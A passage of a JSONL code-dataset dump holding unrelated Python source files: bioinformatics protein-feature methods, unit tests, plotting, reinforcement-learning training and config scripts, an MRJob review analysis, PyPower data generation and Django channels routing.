self.extracted_features[\"SeqVar\"] == None:\n return False\n else: \n return True\n \n def get_sequence_variants(self) -> Dict[str,Dict[str,Union[str,int]]]:\n \"\"\"\n :return: A dict object that contains all sequence variants within a protein, if the protein has no sequence variants the function returns None.\n :rtype: Dict[str,Dict[str,Union[str,int]]]\n \"\"\"\n return self.extracted_features[\"SeqVar\"]\n \n def get_number_sequence_variants(self)->int:\n \"\"\"\n :return: The number of sequence variants the protein has, if the protein has no sequence varient, the function returns 0.\n :rtype: int\n \"\"\"\n if not self.has_sequence_variants():\n return 0\n else:\n return len(self.get_sequence_variants())\n \n def has_splice_variants(self)->bool:\n \"\"\"\n :return: True if the sequence has a splice variants and False otherwise.\n :rtype: bool\n \"\"\"\n if self.extracted_features[\"SpliceVar\"]==None:\n return False\n else:\n return True\n \n def get_splice_variants(self)->Dict[str,Dict[str,Union[str,int]]]:\n \"\"\"\n :return: A dict object that contains the splice variants. If the protein has no splice variants the function returns None.\n :rtype: Dict[str,Dict[str,Union[str,int]]]\n \"\"\"\n return self.extracted_features[\"SpliceVar\"]\n \n def get_number_splice_variants(self)->int:\n \"\"\"\n :return: The number of slice variants in the protein, if the protein has no splice variants, the function returns zero.\n :rtype: int\n \"\"\"\n if not self.has_splice_variants():\n return 0\n else:\n return len(self.get_splice_variants())\n \n def summary(self)->Dict[str,Union[str,int]]:\n \"\"\"\n :return: The function return a dict object that summarizes the features of the protein.\n :rtype: Dict[str,Union[str,int]]\n \"\"\"\n summary=dict()\n summary[\"has_signal_peptide\"]=self.has_signal_peptide()\n summary[\"number_of_chains\"]=self.get_number_chains()\n summary[\"number_of_domains\"]=self.get_number_domains()\n summary[\"number_of_PTMs\"]=self.get_number_PTMs()\n summary[\"number_of_modifications\"]=self.get_number_modifications()\n summary[\"number_of_glycosylation_sites\"]=self.get_number_glycosylation_sites()\n summary[\"number_of_disulfide_bonds\"]=self.get_number_disulfide_bonds()\n summary[\"number_of_sequence_varients\"]=self.get_number_sequence_variants()\n summary[\"number_of_splice_varients\"]=self.get_number_splice_variants()\n summary[\"number_of_transmembrane_regions\"]=self.get_num_transmembrane_regions()\n return summary\n \n def __str__(self)->str:\n \"\"\"\n The string representation of the class\n Returns\n -------\n the string representation of the class\n \"\"\"\n summary=self.summary()\n string_rep=\"\"\" A protein feature instance with: {} chains, {} transmembrane regions, {} domains. {} PTMs, {} sequence variants and {} splice variants\"\"\".format(\n summary[\"number_of_chains\"],summary[\"number_of_transmembrane_regions\"],summary[\"number_of_domains\"],\n summary[\"number_of_PTMs\"],summary[\"number_of_sequence_varients\"],\n summary[\"number_of_splice_varients\"],\n )\n return string_rep\n\n def __repr__(self)->str: \n \"\"\"\n :return: A formated print statement for the class \n :rtype: str\n \"\"\"\n return str(self)\n ","sub_path":"library/IPTK/Classes/Features.py","file_name":"Features.py","file_ext":"py","file_size_in_byte":30284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"410484465","text":"import os\r\nimport re\r\nimport math\r\nfrom collections import deque\r\nimport heapq\r\nimport time\r\n\r\n\r\ndef gcd(a, b):\r\n if b == 0:\r\n return a\r\n else:\r\n return gcd(b, a % b)\r\n\r\n\r\ndef func(p, q):\r\n m = gcd(p, q)\r\n p, q = int(p / m), int(q / m)\r\n if int(math.pow(2, int(math.log2(q)))) != q:\r\n return -1\r\n ans = 0\r\n while (q >> 1) > 0:\r\n if p >= q:\r\n break\r\n else:\r\n ans += 1\r\n q = (q >> 1)\r\n return ans\r\n\r\n# def function():\r\n# return False\r\n\r\n\r\ndef main(fin, fout):\r\n start = time.clock()\r\n fin = open(fin, 'r')\r\n fout = open(fout, 'w')\r\n k = int(fin.readline())\r\n for i in range(k):\r\n p, q = [int(w) for w in fin.readline().split('/')]\r\n ans = func(p, q)\r\n\r\n fout.write('Case #' + str(i + 1) + ': ')\r\n if ans == -1:\r\n fout.write('impossible' + '\\n')\r\n else:\r\n fout.write(str(ans) + '\\n')\r\n\r\n if i % 10 == 9:\r\n print('Case #' + str(i + 1) + '/' + str(k) + ' ' + 'finished, %.3f' % (time.clock() - start) + ' sec taken')\r\n\r\n fin.close()\r\n fout.close()\r\n pass\r\n\r\nif __name__ == '__main__':\r\n problem = 'A'\r\n _fin = problem + '/A-large.in'\r\n _fout = _fin[:-2] + 'out'\r\n main(_fin, _fout)\r\n","sub_path":"solutions_5706278382862336_1/Python/lliquid/A.py","file_name":"A.py","file_ext":"py","file_size_in_byte":1281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"227035398","text":"import unittest\nimport props\nfrom google.appengine.ext import testbed\nfrom summoner_api_client import SummonerAPIClient\n\nclass SummonerAPIClientTest(unittest.TestCase):\n \"\"\"Test for Summoner API Client\"\"\"\n\n def setUp(self):\n \"\"\"Init client for test\"\"\"\n self.testbed = testbed.Testbed()\n self.testbed.activate()\n self.testbed.init_urlfetch_stub()\n self.client = SummonerAPIClient(\"oce\", props.get_config().lol_api_key)\n\n def tearDown(self):\n self.testbed.deactivate()\n\n def test_by_name(self):\n \"\"\"Test fetch by summoner name\"\"\"\n summoner = self.client.by_name(\"Minicat\")\n self.assertEquals(summoner.name, \"Minicat\")\n self.assertEquals(summoner.summonerLevel, 30)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"server/api/lol/raw_client/summoner_api_client_test.py","file_name":"summoner_api_client_test.py","file_ext":"py","file_size_in_byte":744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"564828249","text":"from collections import defaultdict\nimport matplotlib\nmatplotlib.use('TkAgg')\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport seaborn\n\nocc_counts = defaultdict(int)\nmulti = True\n\nif multi:\n train_txt = '../annotations/train_anns_new.csv'\nelse:\n AP_txt = '../annotations/train_anns_new.csv'\n\n\nif multi:\n AP_txt = './csv_retinanet_1_02_multi.txt'\nelse:\n AP_txt = './csv_retinanet_12_35_thresh.txt'\n\n\nwith open(multi) as f:\n for line in f:\n seen = set()\n category = line.split(',')[-1].split('\\n')[0]\n occ_counts[category] += 1\n seen.add(category)\n if multi:\n category2 = line.split(',')[-2]\n if category2 != 'None' and category2 not in seen:\n occ_counts[category2] += 1\n seen.add(category2)\n category3 = line.split(',')[-3]\n if category3 != 'None' and category3 not in seen:\n occ_counts[category3] += 1\n\n\nbody_parts = ['n05564590_hand', 'n05563770_arm', 'n05216365_body', 'n05600637_face', 'n05538625_head', 'n05566504_finger', 'n05254795_hair', 'n05560787_leg', 'n05302499_mouth', 'n05305806_lip']\nword_with_synonyms = ['n14844693_soil', 'n01320872_female', 'n09225146_body_of_water']\n\n\nAPs = []\noccurances = []\ncolors = []\nwith open(AP_txt) as f:\n for line in f:\n category, AP = line.split(',')\n if occ_counts[category] < 5000:\n if category in body_parts:\n colors.append('green')\n elif category in word_with_synonyms:\n colors.append('blue')\n else:\n colors.append('red')\n APs.append(float(AP))\n occurances.append(occ_counts[category])\n\nprint(min(occurances))\n\nseaborn.regplot(occurances, APs, n_boot=100, robust=True)\nplt.scatter(occurances, APs, color=colors)\nplt.show()\n\n\n\n\n","sub_path":"data_visualization/training_v_AP.py","file_name":"training_v_AP.py","file_ext":"py","file_size_in_byte":1841,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"359610001","text":"import unittest\nimport unittest.mock as mock\nimport re\nfrom fints2ledger.ledger_converter import LedgerConverter\nfrom fints2ledger.ledger_converter import fill\nfrom fints2ledger.ledger_converter import print_transaction\nfrom fints2ledger.ledger_converter import get_remaining_prompts_from_prefill\n\n\nclass LedgerConverterTest(unittest.TestCase):\n def setUp(self):\n config = {\"ledger\": {\"md5\": [\"date\", \"payee\", \"purpose\", \"amount\"]}}\n self.writer = LedgerConverter(config)\n\n def test_write_to_ledger(self):\n expected_entry = \"\"\"\\\n2018/03/19 someone some kind of credit some description\n ; md5sum: e7224d45e6102ad5cb5fc7587ffee349\n test:debit EUR 535.0\n test:credit EUR -535.0\n\"\"\"\n data = {\n \"date\": \"2018/03/19\",\n \"amount\": \"535\",\n \"currency\": \"EUR\",\n \"payee\": \"someone\",\n \"posting\": \"some kind of credit\",\n \"purpose\": \"some description\",\n \"debit_account\": \"test:debit\",\n \"credit_account\": \"test:credit\"\n }\n\n actual_entry = self.writer.journal_entry(data)\n\n self.assertEquals(expected_entry, actual_entry)\n\n def test_missing_autocomplete_file(self):\n with mock.patch(\"fints2ledger.ledger_converter.input\", return_value=\"some entry\", create=True):\n try:\n self.writer.prompt_for_input(\"inputPromptWithoutFile\")\n except KeyError:\n pass\n else:\n return\n self.fail(\n \"prompt_for_input shouldn't raise error when prompting for input without a matching autocomplete file.\")\n\n def test_should_fill_when_regex_matches(self):\n prefill_config = [\n {\n \"match\": {\"purpose\": \".*SUPERMARKET.*\"},\n \"fill\": {\"credit_account\": \"expenses:daily:groceries\"}\n }\n ]\n transaction = {\n \"date\": \"2018/03/19\",\n \"amount\": \"535\",\n \"currency\": \"EUR\",\n \"payee\": \"someone\",\n \"posting\": \"some kind of credit\",\n \"purpose\": \"Thank you for your purchase at SUPERMARKET\",\n }\n\n result = fill(transaction, prefill_config)\n\n self.assertEquals(\n result, {\"credit_account\": \"expenses:daily:groceries\"})\n\n def test_should_not_fill_None_values(self):\n prefill_config = [\n {\n \"match\": {\"purpose\": \".*SUPERMARKET.*\"},\n \"fill\": {\"credit_account\": \"expenses:daily:groceries\", \"purpose\": None}\n }\n ]\n transaction = {\n \"date\": \"2018/03/19\",\n \"amount\": \"535\",\n \"currency\": \"EUR\",\n \"payee\": \"someone\",\n \"posting\": \"some kind of credit\",\n \"purpose\": \"Thank you for your purchase at SUPERMARKET\",\n }\n\n result = fill(transaction, prefill_config)\n\n self.assertEquals(\n result, {\"credit_account\": \"expenses:daily:groceries\"})\n\n def test_should_only_fill_when_all_matches_match(self):\n credit_account_key = \"credit_account\"\n prefill_config = [\n {\n \"match\": {\"purpose\": \".*VACATION.*\", \"payee\": \"vacation_company\"},\n \"fill\": {credit_account_key: \"expenses:vacation\"}\n }\n ]\n matching_transaction = {\n \"payee\": \"vacation_company\",\n \"purpose\": \"VACATION on an island\",\n }\n other_transaction = {\n \"payee\": \"spouse\",\n \"purpose\": \"VACATION on an island\",\n }\n\n matching_result = fill(matching_transaction, prefill_config)\n other_result = fill(other_transaction, prefill_config)\n\n self.assertEquals(matching_result, {\n \"credit_account\": \"expenses:vacation\"})\n self.assertEquals(other_result, {})\n \n def test_should_list_None_prefills_as_remaining_prompts(self):\n credit_account_key = \"credit_account\"\n prefill_config = [\n {\n \"match\": {\"purpose\": \".*VACATION.*\", \"payee\": \"vacation_company\"},\n \"fill\": {credit_account_key: \"expenses:vacation\", \"purpose\": None}\n }\n ]\n transaction = {\n \"payee\": \"vacation_company\",\n \"purpose\": \"VACATION on an island\",\n }\n\n self.assertEquals(get_remaining_prompts_from_prefill(transaction, prefill_config), [\"purpose\"])\n\n \n def test_should_return_None_if_transaction_is_not_matching(self):\n credit_account_key = \"credit_account\"\n prefill_config = [\n {\n \"match\": {\"purpose\": \".*SUPERMARKET.*\", \"payee\": \"vacation_company\"},\n \"fill\": {credit_account_key: \"expenses:vacation\", \"purpose\": None}\n }\n ]\n transaction = {\n \"payee\": \"vacation_company\",\n \"purpose\": \"VACATION on an island\",\n }\n\n self.assertEquals(get_remaining_prompts_from_prefill(transaction, prefill_config), None)\n\n\n @mock.patch(\"fints2ledger.ledger_converter.print\")\n def test_prints_transaction_in_uncidoe(self, mock_print):\n print_transaction({\n \"purpose\": \"😀\"\n })\n self.assertIn(\"😀\", mock_print.call_args_list[0][0][0])\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"fints2ledger/test/test_ledger_converter.py","file_name":"test_ledger_converter.py","file_ext":"py","file_size_in_byte":5408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"637868816","text":"def countdown(i):\n print(i)\n if i < 1:\n return\n else:\n countdown(i - 1)\n\n\ndef greet(name):\n print(\"Hello,\" + name + \"!\")\n greet2(name)\n print(\"getting ready to say bye...\")\n bye()\n\n\ndef greet2(name):\n print(\"how are you,%s?\" % name)\n\n\ndef bye():\n print(\"ok bye!\")\n\n\n# greet(\"maggie\")\n\n# 汉诺塔\ndef move(n, a, b, c):\n global i\n i += 1\n if n == 1:\n print(a, \"-->\", c)\n\n else:\n move(n-1, a, c, b)\n print(a, \"-->\", c)\n move(n-1, b, a, c)\n\n\ni = 0\nmove(3, 'a', 'b', 'c')\nprint(i)\n","sub_path":"others/3.1 递归.py","file_name":"3.1 递归.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"458621620","text":"import torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport numpy as np\n\n\ndef train_baseline(train_data, epochs, model, optimizer, criterion):\n for epoch in range(epochs): # loop over the dataset multiple times\n print(epoch)\n for i in range(len(train_data)):\n # get the inputs; data is a list of [inputs, labels]\n data = train_data[i]\n inputs = data['image'].unsqueeze(0)\n classes = data['class'].unsqueeze(0).unsqueeze(0)\n\n # zero the parameter gradients\n optimizer.zero_grad()\n\n # forward + backward + optimize\n outputs = model(inputs)\n loss = criterion(outputs, classes)\n loss.backward()\n optimizer.step()\n\n print('Finished Training')\n return model","sub_path":"Train_Utils/baseline.py","file_name":"baseline.py","file_ext":"py","file_size_in_byte":806,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"99674955","text":"import os, json\nimport pickle\nimport tensorflow as tf\nfrom tensorflow.keras import layers\nimport numpy as np\nimport gym\n\ndef save_params(path, params):\n '''Saves parametes to the path as json\n creates a desired folder if it not exists\n prints out the path upon completion\n '''\n directory = os.path.dirname(path)\n if not os.path.exists(directory):\n os.makedirs(directory)\n with open(path, 'w') as out:\n out.write(json.dumps(params, separators=(',\\n','\\t:\\t'), sort_keys=True))\n print ('Data saved to ' + path)\n\ndef rollout(policy_fn, env, max_steps = 1000, render = False):\n '''Rolls out a policy on an environment until copletion of the episode\n returns : observations, actions, total reward\n '''\n observations, actions = [],[]\n obs = env.reset()\n done = False\n totalr = 0.\n steps = 0\n while not done:\n action = policy_fn(obs[None,:])\n observations.append(obs)\n actions.append(action)\n obs, r, done, _ = env.step(action)\n totalr += r\n steps += 1\n if render:\n env.render()\n if steps >= max_steps:\n break\n\n return np.array(observations).reshape(len(observations),-1), np.array(actions).reshape(len(actions),-1), totalr\n\ndef train_model(hidden_size, obs, act, patience, model = None):\n '''\n Trains a model of 2 layer of specified size\n on provided observation-action samples with\n given the patience of early stopping\n each epoch will contain 20k samples(created by repeating)\n returns model and some training data\n '''\n if not model:\n model = tf.keras.Sequential([\n layers.Dense(hidden_size, activation='sigmoid', input_shape=(obs.shape[1],)),\n layers.Dense(hidden_size, activation='sigmoid'),\n layers.Dense(act.shape[1])])\n\n model.compile(optimizer=tf.keras.optimizers.Adam(lr=0.001),\n loss='mse',\n metrics=['mse'])\n\n es = tf.keras.callbacks.EarlyStopping(patience=patience, monitor='loss')\n\n dataset = tf.data.Dataset.from_tensor_slices((obs, act))\n dataset = dataset.repeat()\n dataset = dataset.shuffle(buffer_size=500)\n dataset = dataset.batch(32)\n \n history = model.fit(dataset, epochs=1000, steps_per_epoch=625, callbacks=[es])\n\n training_data = dict(hidden_size = hidden_size, epochs = es.stopped_epoch, mse = history.history['loss'][-1], patience = patience)\n\n return model, training_data\n\n\ndef test_model(model, env , num_rollouts = 20, max_steps = 1000):\n '''\n Tests model on an environment for the specified number\n of rollouts and returns the test results\n '''\n returns = []\n obs_set = []\n act_set = []\n for i in range(num_rollouts):\n print('Rollout ', i+1)\n o, a, totalr = rollout(model.predict, env, max_steps)\n returns.append(totalr)\n\n print('mean return', np.mean(returns))\n print('std of return', np.std(returns))\n\n test_data = dict(Returns = returns)\n \n return test_data \n \n\nif __name__ == '__main__':\n\n ### This code will train the Behavioral Cloning agent on the expert data\n ### And test it for the provided number of runs. Data will be saved in\n ### BC_models folder\n\n import argparse\n parser = argparse.ArgumentParser()\n parser.add_argument('envname', type=str)\n parser.add_argument('hidden_size', type = int, default = 256)\n parser.add_argument('--patience', type=int, default=3,\n help='Patience of early stopping. Default = 3')\n parser.add_argument('--num_tests', type=int, default=20,\n help='Number test runs of the learned policy. Default = 20')\n args = parser.parse_args()\n\n # Getting the expert policy samples\n with open(os.path.join('expert_data', args.envname + '.pkl'), 'rb') as f:\n expert_data = pickle.load(f)\n obs, act = expert_data.values()\n obs, act = obs.reshape(len(obs), -1) , act.reshape(len(act), -1)\n\n model_path = os.path.join('BC_models', args.envname+ '_' + str(args.hidden_size)+'.h5')\n data_path = os.path.join('BC_models', args.envname+ '_' + str(args.hidden_size)+'.json')\n\n model, training_data = train_model(args.hidden_size, obs, act, args.patience)\n training_data[\"model_path\"] = model_path\n\n if args.num_tests:\n env = gym.make(args.envname)\n test_data = test_model(model, env, num_rollouts = args.num_tests)\n training_data.update(test_data)\n\n save_params(data_path, training_data)\n model.save(model_path)\n\n\n\n\n\n","sub_path":"hw1/BC.py","file_name":"BC.py","file_ext":"py","file_size_in_byte":4538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"62568981","text":"#Python HW 1, problem 2, min max calc\n\n\n\nnumInputs = int(input())\n\nfor inputInd in range(numInputs):\n currentInput = (input())#read input line\n currentInput = currentInput.split(' ')#split to a list by the spaces\n currentNumbers = [int(i) for i in currentInput]#covert strings to ints\n currMax = currentNumbers[0]\n currMin = currentNumbers[0]\n for num in currentNumbers:\n if (num > currMax ):\n currMax = num\n if (num None:\n if override_dict:\n for key, value in override_dict.items():\n if not hasattr(self, key):\n raise KeyError(\"unknown argument\")\n setattr(self, key, value)\n self._post_init_processing()\n return\n\n def _post_init_processing(self) -> None:\n self.game_name = self.game.__name__.split('.')[-1]\n self.game_type = self.game.__name__.split('.')[-2]\n if not self.use_latent_embedding and self.train_setting == 'implicit_ensemble':\n for i in range(10):\n print('----------------------------------------')\n print('Warning: config line 60, gaussian latent noise not used !!!!!')\n print('----------------------------------------')\n\ndef is_adversary(agent_id: str) -> bool:\n return (('adversary' in agent_id)\n or agent_id.startswith('eve')\n or agent_id.startswith('player_1')\n or ('second' in agent_id))\n\ndef get_config(args: Args):\n # num_rollouts = 2\n ModelCatalog.register_custom_model(\"SoftModularActorCriticNet\", SoftModularActorCriticNet)\n ModelCatalog.register_custom_model(\"SimpleEnsembleActorCriticNet\", SimpleEnsembleActorCriticNet)\n # 1. Gets default training configuration and specifies the POMgame to load.\n config = deepcopy(get_agent_class(args.alg_name)._default_config)\n\n # 2. Set environment config. This will be passed to\n # the env_creator function via the register env lambda below.\n # local_ratio specify hthe ratio between global reward and the local reward\n # config[\"env_config\"] = {\"local_ratio\": 0.5}\n def env_creator():\n if args.game.__package__.endswith('atari'):\n if (args.game_name.startswith('foozpong') or\n args.game_name.startswith('basketball_pong') or\n args.game_name.startswith('volleyball_pong')\n ):\n env = args.game.env(obs_type=args.atari_obs_type,\n max_cycles=args.max_steps['atari'],\n full_action_space=False,\n num_players=2)\n else:\n env = args.game.env(obs_type=args.atari_obs_type,\n full_action_space=False,\n max_cycles=args.max_steps['atari'])\n env = frame_skip_v0(env, args.atari_frame_skip_num)\n env = frame_stack_v1(env, args.atari_frame_stack_num)\n\n else:\n env = args.game.env()\n if args.game_name.startswith('rps'):\n env = one_hot_obs_wrapper(env)\n env = dtype_v0(env, dtype=float32)\n env = pad_observations_v0(env)\n env = pad_action_space_v0(env)\n if args.game_name.startswith('connect_four') or args.game_name.startswith('tictactoe'):\n env = FlattenEnvWrapper(env)\n GAUSSIAN_STD = 1.0\n assert abs(GAUSSIAN_STD - 1.0) < 1e-5, \"must be 1.0, otherwise simple ensemble implementation is wrong\"\n env = LatentGaussianAugmentedEnvWrapper(env,\n latent_parameter_dim=args.latent_para_dim,\n gaussian_std=1.0,\n use_dict_obs_space=args.use_dict_obs_space)\n return env\n\n # 3. Register env, and get trainer_class\n register_env(args.game_name,\n lambda config: PettingZooEnv(env_creator()))\n trainer_class = get_agent_class(args.alg_name)\n\n # 4. Extract space dimensions\n test_env = PettingZooEnv(env_creator())\n obs_space = test_env.observation_space\n act_space = test_env.action_space\n agents_id = test_env.agents\n print(f\"obs_space: {obs_space}; act_space: {act_space}\")\n\n # 5. Configuration for multiagent setup:\n config[\"framework\"] = \"torch\"\n config[\"num_gpus\"] = 0\n config[\"log_level\"] = \"INFO\"\n config[\"num_workers\"] = args.num_cpus // 2\n config[\"num_cpus_per_worker\"] = 1\n config['num_envs_per_worker'] = 5\n # Fragment length, collected at once from each worker and for each agent!\n config[\"rollout_fragment_length\"] = 100\n # Training batch size -> Fragments are concatenated up to this point.\n config[\"train_batch_size\"] = 2000\n config[\"sgd_minibatch_size\"] = 256\n config[\"entropy_coeff\"] = 0.01\n config[\"lambda\"] = 0.9\n config[\"vf_clip_param\"] = 50\n config[\"num_sgd_iter\"] = 10\n # After n steps, force reset simulation\n config[\"horizon\"] = args.max_steps[args.game_type]\n # Default: False\n config[\"no_done_at_end\"] = False\n # Info: If False, each agents trajectory is expected to have\n # maximum one done=True in the last step of the trajectory.\n # If no_done_at_end = True, environment is not resetted\n # when dones[__all__]= True.\n config['ignore_worker_failures'] = True\n\n def get_main_and_test_config(config: Dict[str, Any]) -> Tuple[Dict[str, Any],\n Dict[str, Any]]:\n\n main_policies = {}\n for i, agent_id in enumerate(agents_id):\n for j in range(1):\n main_policies[f'{agent_id}_{j}'] = (PPOTorchPolicy,\n obs_space,\n act_space,\n {\"framework\": \"torch\"})\n test_policies = {\n 'test_' + agent_id: (PPOTorchPolicy, obs_space, act_space, {\"framework\": \"torch\"})\n for agent_id in agents_id if is_adversary(agent_id)\n }\n policies = {**main_policies, **test_policies}\n\n main_config, test_config = deepcopy(config), deepcopy(config)\n\n main_config[\"multiagent\"] = {\n \"policies\": policies,\n \"policy_mapping_fn\": lambda agent_id: f'{agent_id}_{0}',\n \"policies_to_train\": list(main_policies.keys())\n }\n\n def test_config_policy_mapping(agent_id: str) -> str:\n if is_adversary(agent_id):\n return 'test_' + agent_id\n return f'{agent_id}_{0}'\n\n test_config[\"multiagent\"] = {\n \"policies\": policies,\n \"policy_mapping_fn\": test_config_policy_mapping,\n \"policies_to_train\": list(test_policies.keys())\n }\n return main_config, test_config\n\n def get_simple_ensemble_training_config(config: Dict[str, Any], ensemble_size: int=3) -> Tuple[Dict[str, Any],\n Dict[str, Any]]:\n if ensemble_size > 1:\n config[\"model\"] = {\n \"custom_model\": \"SimpleEnsembleActorCriticNet\",\n \"custom_model_config\": {\n \"use_dict_obs_space\": args.use_dict_obs_space,\n 'ensemble_size': ensemble_size\n }\n }\n main_config, test_config = get_main_and_test_config(config)\n return main_config, test_config\n\n def get_implicit_ensemble_training_config(config: Dict[str, Any]) -> Tuple[Dict[str, Any],\n Dict[str, Any]]:\n config[\"model\"] = {\n \"custom_model\": \"SoftModularActorCriticNet\",\n \"custom_model_config\": {\n \"use_latent_embedding\": args.use_latent_embedding,\n \"use_dict_obs_space\": args.use_dict_obs_space,\n \"base_type\": MLPBase,\n \"em_input_shape\": args.latent_para_dim,\n \"emb_shaping_net_hidden_shapes\": args.emb_shaping_net_hidden_shapes,\n 'emb_shaping_net_last_softmax': args.emb_shaping_net_last_softmax,\n 'em_hidden_shapes': [args.soft_modular_net_hidden_dim,\n args.soft_modular_net_hidden_dim], #[400],\n 'hidden_shapes': [args.soft_modular_net_hidden_dim,\n args.soft_modular_net_hidden_dim], #[400, 400],\n 'num_layers': args.soft_modular_net_num_layers, #4,\n 'num_modules': args.soft_modular_net_num_modules, #4,\n 'module_hidden': args.soft_modular_net_hidden_dim, #128,\n 'gating_hidden': args.soft_modular_net_hidden_dim, #256,\n 'num_gating_layers': 2, #with 1 gating layer, 500 step works for simple_spread\n 'add_bn': False,\n }\n }\n main_config, test_config = get_main_and_test_config(config)\n return main_config, test_config\n\n if args.train_setting == 'single_policy':\n main_config, test_config = get_simple_ensemble_training_config(config, ensemble_size=1)\n elif args.train_setting == 'simple_ensemble':\n main_config, test_config = get_simple_ensemble_training_config(config, ensemble_size=3)\n else:\n assert args.train_setting == 'implicit_ensemble'\n main_config, test_config = get_implicit_ensemble_training_config(config)\n\n return trainer_class, test_env, main_config, test_config","sub_path":"IET_module/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":11338,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"566544261","text":"\"\"\"\n@author: krakowiakpawel9@gmail.com\n@site: e-smartdata.org\n\"\"\"\n\nfrom mrjob.job import MRJob\nfrom mrjob.step import MRStep\nfrom nltk.stem import WordNetLemmatizer\nfrom nltk.corpus import stopwords\nfrom nltk import pos_tag\n# import nltk\nimport re\n\n# nltk.download('stopwords')\n\n# $ python 04_top_20_common_adjective.py -r emr --num-core-instances 4 prep_reviews.tsv --output-dir=s3://big-data-hadoop/output/job3\n\nWORD_RE = re.compile(r\"[\\w]+\")\n\nlemmatizer = WordNetLemmatizer()\nstop_words = stopwords.words('english')\n\n\nclass MRFood(MRJob):\n\n def steps(self):\n return [\n MRStep(mapper=self.mapper),\n MRStep(mapper=self.mapper_get_keys,\n reducer=self.reducer),\n MRStep(mapper=self.mapper_get_1_and_5,\n reducer=self.reducer_get_20_words)\n ]\n\n def mapper(self, _, line):\n (Id, ProductId, UserId, ProfileName, HelpfulnessNumerator, HelpfulnessDenominator,\n Score, Time, Summary, Text) = line.split('\\t')\n words = WORD_RE.findall(Text)\n words = filter(lambda word: len(word) > 1, words)\n words = map(str.lower, words)\n words = map(lemmatizer.lemmatize, words)\n words = filter(lambda word: word not in stop_words, words)\n for word in words:\n if pos_tag([word])[0][1] == 'JJ':\n yield Score, word\n\n def mapper_get_keys(self, key, value):\n yield (key, value), 1\n\n def reducer(self, key, values):\n yield key, sum(values)\n\n def mapper_get_1_and_5(self, key, value):\n if key[0] == '1':\n yield key[0], (key[1], value)\n if key[0] == '5':\n yield key[0], (key[1], value)\n\n def reducer_get_20_words(self, key, values):\n results = {}\n for value in values:\n results[value[0]] = value[1]\n sorted_results = sorted([(val, key) for key, val in results.items()], reverse=True)\n\n yield key, sorted_results[:20]\n\n\nif __name__ == '__main__':\n MRFood.run()\n","sub_path":"06_food_reviews/04_top_20_common_adjective.py","file_name":"04_top_20_common_adjective.py","file_ext":"py","file_size_in_byte":2006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"495984582","text":"from pypower.api import case300, ppoption, runpf, printpf, runopf, case9\nfrom constants import *\nimport numpy as np\nimport os\nfrom data_utils import *\nfrom tqdm import tqdm\n# See http://rwl.github.io/PYPOWER/api/ for description of variables\n\n# To install pypower, see https://www.pypsa.org/doc/installation.html\n\nsave_dir = \"case300_data/\"\ntry:\n # Create target Directory\n os.mkdir(save_dir)\n print(\"Directory \" , save_dir , \" Created \") \nexcept FileExistsError:\n print(\"Directory \" , save_dir , \" already exists\")\n\nMAX_ITERS = 50000\n\nac_ppopt = ppoption(PF_ALG=2, VERBOSE=0, OUT_ALL= -1, OUT_SYS_SUM=False, OUT_BUS = False, OUT_BRANCH = False, OUT_GEN = False, PF_DC=False, OUT_ALL_LIM=0)\ndc_ppopt = ppoption(PF_ALG=2, VERBOSE=0, OUT_ALL= -1, OUT_SYS_SUM=False, OUT_BUS = False, OUT_BRANCH = False, OUT_GEN = False, PF_DC=True, OUT_ALL_LIM=0)\n\ni = 0\n\nwhile i < MAX_ITERS:\n if i % 100:\n print(\"Iter: %d/%d\" % (i, MAX_ITERS))\n ppc = case300()\n new_pd = ppc['bus'][:,PD]\n new_pd += (np.random.rand(len(new_pd))-0.5)*new_pd\n new_qd = ppc['bus'][:, QD]\n new_qd += (np.random.rand(len(new_qd))-0.5)*new_qd\n ppc['bus'][:,PD] = new_pd\n ppc['bus'][:,QD] = new_qd\n \n # Run AC Powerflow\n ac_result = runopf(ppc, ac_ppopt)\n ac_outfile = \"%s/ac_result_%d\" % (save_dir, i)\n \n # Check AC solved correctly\n if ac_result['success'] == False:\n continue\n\n # Run DC Powerflow\n dc_result = runopf(ppc, dc_ppopt)\n dc_outfile = \"%s/dc_result_%d\" % (save_dir, i)\n\n # Check DC solved correctly\n if dc_result['success'] == False:\n continue\n \n # Write to file\n np.save(dc_outfile, ac_result)\n np.save(ac_outfile, dc_result)\n i = i + 1\n\n\n","sub_path":"code/generate_data300.py","file_name":"generate_data300.py","file_ext":"py","file_size_in_byte":1722,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"85627539","text":"# mysite/routing.py\nfrom channels.auth import AuthMiddlewareStack\nfrom channels.routing import ProtocolTypeRouter, URLRouter\nfrom django.urls import re_path\n#from cons import consumers \n\nwebsocket_urlpatterns = [\n re_path(r'ws/path/(?P\\w+)/$', consumers.basicConsumer),\n]\n\napplication = ProtocolTypeRouter({\n 'websocket': AuthMiddlewareStack(\n URLRouter(\n websocket_urlpatterns\n )\n ),\n})","sub_path":"backend_for_reference/src/backend/routing.py","file_name":"routing.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
